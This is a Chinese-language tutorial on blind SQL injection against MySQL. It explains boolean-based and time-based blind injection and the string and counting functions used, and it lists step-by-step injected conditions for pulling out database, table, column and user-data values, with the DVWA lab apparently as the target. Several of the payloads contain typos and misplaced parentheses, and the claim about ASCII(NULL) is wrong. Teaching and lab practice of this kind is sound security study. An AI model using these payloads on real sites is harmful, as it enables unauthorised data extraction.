1 盲注基本概念
- 如果每个应用程序都能按照我们输入的SQL 命令返回我们需要的数据, 那应用程序就无安全性可言了! 为此, 程序设计者们想到一个办法, 那就是无论输入何种命令, 只要SQL 语句导致数据库产生错误, 那么应用程序就会返回一个“ 通用的" 的页面, 或者重定向一个通用页面( 可能为网站首页) 。这时,回显方式的SQL 注入办法就无法使用了。
盲注, 即在SQL 注入过程中, SQL 语句执行选择后, 选择的数据不能回显到前端, 需要使用特殊的方法进行判断或尝试, 这个过程称为盲注。
盲注分为两类:
- 基于布尔型SQL 盲注:
基于布尔型SQL 盲汁即在SQL 注入过程中, 应用程序仅仅返回True( 页面) 和False( 页面) 。无法根据应用程序的返回页面得到需要的数据库信息。但是可以通过构造逻辑判断( 比较大小) 来得到需要的信息。
- 基于时间型SQL 盲注:
注入SQL 代码之后, 存在以下两种情况:
- 如果注入的SQL 代码不影响后台[ 数据库] 的正常功能执行, 那么Web 应用的页面显示正确( 原始页面) 。
- 如果注入的SQL 代码影响后台数据库的正常功能( 产生了SQL 注入) , 但是此时Web 应用的页面依旧显示正常( 原因是Web 应用程序采取了“ 重定向" 或“ 屏蔽" 措施)。
产生一个疑问:注入的SQL 代码到底被后台数据库执行了没有? 即Web 应用程序是否存在SQL 注入?
面对这种情况,之前讲的基于布尔的SQL 盲注就很难发挥作用了( 因为基于布尔的SQL 前提是Web 程序返回的页面存在true 和false 两种不同的页面)。这时, 一般采用基于web 应用响应时间上的差异来判断是否存在SQL 注入, 即基于时间型SQL 盲注。
2 MySQL盲注关键函数
2.1 判断结果的记录数COUNT()
count(columu_name)函数
函数返回指定列的值的数目(NULL 不计入)
语法示例:
Select count (user) from users; // 返回表中user列的记录数
select count(*) from users; // 返回表中的记录数
示例如图所示:
2.2 返回数据中的某几行数据 imit()
Limit(m,n) 函数
说明:m 代表从m+1 条记录行开始检索,n 代表取出n 条数据。( m 可设为0 )
语法示例:
select * from 表名 limit m,n;
select user from users limit 0,1; // 检索记录行1
示例如图所示:
2.3 内容长度判断函数length()
length() 函数
length() 函数返回文本字段中值的长度。
语法示例:
select length(user) from users;
示例如图所示:
2.4 字符串截取函数mid(), substr() ,substring(),left()
字符串截取函数有几个类似函数,mid(), substr() ,substring()和left() , 其中前三个函数用法基本一致
mid (string,start,length) 函数
其中,每个参数的含义如下:
- string( 必需) 规定要返回其中一部分的字符串。
- start( 必需) 规定开始位置(起始值是1) 。
- length( 可选)要返回的字符数。如果省略, 则mid() 函数返回剩余文本。
substring(string,start,length) 和substr(string, start, length)
函数实现的功能是一样的, 均为截取字符串。
其中,每个参数的含义如下:
- string( 必需) 规定要返回其中一部分的字符串。
- start( 必需) 规定开始位置(起始值是1) 。
- length( 可选)要返回的字符数。
语法示例:
left (string,length) 函数
截取指定长度的字符串
其中, 每个参数的含义如下:
- string (必需) 规定要返回其中一部分的字符串。
- length (可选) 规定被返回字符串的前length 长度的字符
2.5 字符转ascii 码函数ascii()
Ascil() 函数
将字符转化为ascii 码。如果是字符串, 则返回的最左字符的数值。也就是第一个字符的ascii 值。如果字符串为空字符串,则返回NULL 。如果字符串为NULL, ASCII() 返回数值是从0 到255 随机。
语法示例
select ascii(substr(user,1,1)) from users limit 0,1;
示例如图所示
3 基于布尔逻辑的盲注
基于布尔型SQL盲注即在SQL 注入过程中,应用程序仅仅返回True(页面)和FaIse(页面)。 但不会回显程序返回信息。对于布尔型盲注可以通过构造逻辑判断( 比较大小) 来得到数据库内容信息。
盲注的步骤与注入语句:( 注入需要在注入点拼接注入语句,实现逻辑判断)
1 、判断当前数据库名长度与数据库名
- And length(database())>n / / 判断当前数据库长度
- And ascii(substr(database(),m,1))> n / / 截取数据库名第m 个字符并转换为ascii 码
2 、判断数据库的表长度与表名
- And length((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1)) > n // 判断第一行表名的长度
- And ascii((substr(select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),m,1)) > n // 截取第一行表名的第m 个字符串并转换为ascii码
3 、判断数据库的字段名长度与字段名称
- And length ((select column_name from information_schema.columns where table_name='users' limit 0,1)) >n // 判断表中字段名的长度
- And ascli((substr(select column_name from information_schema.columns where table_name='users' limit 0,1),m,1)) >n // 截取表中字段的第m 字符串并转换为ascii码
4 、判断字段的内容长度与内容字符串
- And length((select user from users limit 0,1)) > 1 / / 判断字符串内容长度
- And ascii(substr((select user from users imit 0,1),m,1)) / / 截取第m 个字符串并转换为ascil码